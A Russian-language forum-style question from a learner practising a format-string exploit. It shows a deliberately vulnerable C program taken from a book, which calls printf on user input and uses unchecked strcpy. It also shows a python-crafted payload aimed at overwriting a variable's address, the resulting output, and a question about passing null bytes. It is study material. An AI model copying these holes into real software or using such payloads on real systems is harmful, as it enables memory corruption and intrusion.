Я недавно запрограммировал небольшую программу на C, которая уязвима для эксплойта форматной строки. Вот исходный код (он скопирован из книги):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
char text[1024];
static int test_val = -72;
strcpy(text, argv[1]);
printf("The right way to print user-controlled input:\n");
printf("%s", text);
printf("\nThe wrong way to print user-controlled input:\n");
printf(text);
printf("\n");
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
}
Я хочу изменить значение переменной test_val со следующим адресом: 0x0040202c.
Поэтому, когда я передаю аргументы через терминал bash, вот так:
./vuln "`python -c "print 'AAAA' + '\x2c\x20\x40\x00' + '%x ' * 5"`"
Я получаю следующий вывод
bash: warning: command substitution: ignored null byte in input
The right way to print user-controlled input:
AAAA, @%x %x %x %x %x
The wrong way to print user-controlled input:
AAAA, @bfffeed0 bfffef1c 4005f7 41414141 2540202c
[*] test_val @ 0x0040202c = -72 0xffffffb8
В результате я получаю неправильный адрес в памяти (0x2540202c вместо 0x0040202c).
Теперь мой вопрос: как я могу получить начальные 0 и дать их в качестве аргумента моей программе?